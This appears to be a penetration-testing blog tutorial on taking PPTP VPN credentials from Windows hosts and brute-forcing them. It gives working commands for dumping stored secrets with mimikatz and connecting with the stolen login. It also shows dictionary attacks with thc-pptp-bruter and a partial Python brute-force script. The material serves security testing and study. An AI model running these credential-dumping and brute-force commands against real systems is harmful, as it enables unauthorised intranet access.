One Day SecOne Day Sec

Penetration Techniques - Acquisition and Brute-Force of PPTP Passwords

Onedaysec
4 min read
0 views
docx image 1770017983623 0 a45c15a46e

0x00 Preface

---

PPTP (Point-to-Point Tunneling Protocol) allows remote users to access corporate intranets by dialing into an ISP.

During penetration testing, if a user's PPTP password is obtained, remote dial-in to the intranet can be achieved for further infiltration.

This article will introduce methods for exporting PPTP configuration information and passwords via the command line, as well as an open-source script for brute-forcing PPTP passwords.

0x01 Introduction

---

This article will cover the following topics:

  • Acquiring PPTP configuration information and passwords via the command line in Windows systems
  • Enabling and disabling VPN connections via the command line in Windows systems
  • Methods and details for connecting to PPTP in Windows systems
  • Methods and details for connecting to PPTP in Kali systems
  • Details of the PPTP password brute-force script

0x02 Acquiring PPTP Configuration Information and Passwords via the Command Line in Windows Systems

---

1. Obtain PPTP Configuration Information

The configuration information for dial-up and broadband connections in Windows systems is stored in a fixed location, with the following path:

%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

Viewing this file provides the PPTP connection configuration information, including the server IP, but not the connection username and password.

The VPN connection is named VPN Connection, as shown in the figure below.

1. Obtain PPTP Configuration Information — technical illustration 1

PhoneNumber indicates the connected server IP, as shown in the figure below.

1. Obtain PPTP Configuration Information — technical illustration 2

2. Obtain Internal IP

ipconfig

Obtain the internal IP, as shown in the figure below.

2. Obtain Internal IP — technical illustration 3

3. Obtain PPTP Password

Use the tool mimiaktz with the following command:

mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

Obtain the connection username and password, as shown in the figure below

3. Obtain PPTP Password — technical illustration 4

4. Connect to VPN via command line

rasdial "VPN Connection" zhaodg oZ7iFk25

as shown in the figure below

4. Connect to VPN via command line — technical illustration 5

5. Disconnect VPN via command line

rasphone -h "VPN Connection"

0x03 Methods and Details for PPTP Connection on Windows System

---

1.

0x03 Methods and Details for PPTP Connection on Windows System — technical illustration 6

2.

0x03 Methods and Details for PPTP Connection on Windows System — technical illustration 7

3.

0x03 Methods and Details for PPTP Connection on Windows System — technical illustration 8

4. Select to create a new connection

5. Enter the server IP, select connect later

0x03 Methods and Details for PPTP Connection on Windows System — technical illustration 9

6. Enter username and password

7. After clicking connect, choose to skip

Next, modify VPN properties, Security -> Type of VPN, select Point to Point Tunneling Protocol (PPTP)

0x03 Methods and Details for PPTP Connection on Windows System — technical illustration 10

Note:

After successful creation, specifying Point to Point Tunneling Protocol (PPTP) can shorten connection waiting time

8. Connect

0x04 Methods and details for PPTP connection on Kali system

---

Method 1: Through the interface

1. Installation

apt-get install network-manager-pptp network-manager-pptp-gnome

2.

Settings->Network->VPN

Method 1: Through the interface — technical illustration 11

3.

Identity->Advanced...

Remove PAP, CHAP, EAP

Select Use Point-to-Point encryption (MPPE)

Method 1: Through the interface — technical illustration 12

Note:

If unable to connect, modify the file /etc/NetworkManager/NetworkManager.conf

Change managed=false to managed=true

Restart the system

Method 2: via pptpsetup

1. Connection

pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start

Remote IP is 192.168.0.1, as shown in the figure below

Method 2: via pptpsetup — technical illustration 13

2. Modify routing table

Change the default routing table to the remote IP

route del default
route add default gw 192.168.0.1

0x05 PPTP password brute force

---

PPTP server defaults to port 1723

1. PPTP brute forcer

Source code:

https://github.com/BlackArch/thc-pptp-bruter

Kali default support

The command for dictionary brute force is as follows:

cat wordlist | thc-pptp-bruter -u zhaodg

As shown in the figure below

1. PPTP brute forcer — technical illustration 14

Note:

PPTP is set up on CentOS

2. Write a Python script to implement

Some devices' PPTP cannot be brute-forced using PPTP brute forcer

Therefore, attempt to use Python to call pptpsetup for implementation

Execute commands via os.popen, test code is as follows:

import os
def test_vpn(ip,name,password):
command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
print command
vpn_status = os.popen(command).read()
print vpn_status

if __name__ == '__main__':
test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')

Bug encountered during testing:

If login succeeds, the pptp process does not exit, causing script blockage and inability to obtain echo

Only after terminating the pptp process can the echo be obtained

Therefore, a subprocess approach is required here:

The subprocess executes the pptpsetup command, while the parent process does not wait

This leads to a new issue:

How to obtain the subprocess result to determine whether login succeeded

A simple and direct method is chosen here:

Wait 10 seconds, then execute ifconfig. If login succeeds, a new network interface ppp0 will be created; otherwise, the current username/password is incorrect

After successful login, choose to clean up the process by executing the command:

pkill pptp

Clear connection information:

pptpsetup --delete testvpn

For the complete code, refer to:

an open-source project

The code reads the file 'wordlist' to obtain a password dictionary, attempts to connect to a specified IP, records the password upon successful connection, and clears the process and connection.

Testing is shown in the figure below

2. Write a Python script to implement — technical illustration 15

0x06 Summary

---

This article introduces methods for exporting PPTP configuration information and passwords via the command line, enabling the activation and deactivation of VPN connections through command-line operations.

A practical demonstration shows how to connect to PPTP on Windows and Kali systems, concluding with the open-sourcing of a script that utilizes pptpsetup for PPTP password brute-forcing, along with an analysis of the script's implementation details.

Related Questions & Answers

What is the significance of obtaining PPTP passwords in penetration testing?

Acquiring a user's PPTP password allows an attacker to remotely dial into the corporate intranet, enabling further infiltration and lateral movement. This technique is a key step in network penetration, as described in [Penetration Techniques - Acquisition and Brute-Force of PPTP Passwords](/news/penetration-techniques-acquisition-and-brute-force-of-pptp-passwords). Once inside, attackers can combine this with other methods like [Domain Penetration - Remote Execution via Scheduled Tasks in GPO](/news/domain-penetration-remote-execution-via-scheduled-tasks-in-gpo-command-line-implementation-principles-and-script-details) to execute commands remotely.

How can I brute-force PPTP passwords? What tools are available?

Two approaches are mentioned: using `thc-pptp-bruter` (available in Kali) for dictionary attacks, or writing a Python script that calls `pptpsetup` and checks for a `ppp0` interface after a 10-second wait to determine success. The Python method handles cases where `thc-pptp-bruter` fails. Both techniques are explained with code in [Penetration Techniques - Acquisition and Brute-Force of PPTP Passwords](/news/penetration-techniques-acquisition-and-brute-force-of-pptp-passwords).

What are the steps to connect to a PPTP VPN on Kali Linux?

Kali Linux supports two methods: via GUI (install `network-manager-pptp` and configure VPN settings, ensuring to remove PAP/CHAP/EAP and enable MPPE) or via command line using `pptpsetup --create vpn --server <IP> --username <user> --password <pass> --encrypt --start`. After connecting, adjust the routing table with `route add default gw <remote-ip>`. For full details, refer to the Kali section in [Penetration Techniques - Acquisition and Brute-Force of PPTP Passwords](/news/penetration-techniques-acquisition-and-brute-force-of-pptp-passwords).

How can I export PPTP configuration and password from a Windows system during penetration testing?

You can obtain PPTP configuration from `%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk` and extract the password using [mimikatz](https://github.com/gentilkiwi/mimikatz) with the command `privilege::debug token::elevate lsadump::secrets`. This technique is covered in detail in the article [Penetration Techniques - Acquisition and Brute-Force of PPTP Passwords](/news/penetration-techniques-acquisition-and-brute-force-of-pptp-passwords). Mimikatz is also commonly used for other privilege escalation attacks, such as those described in [Penetration Techniques - Exploitation of Nine Windows Privileges](/news/penetration-techniques-exploitation-of-nine-windows-privileges).

Continue Reading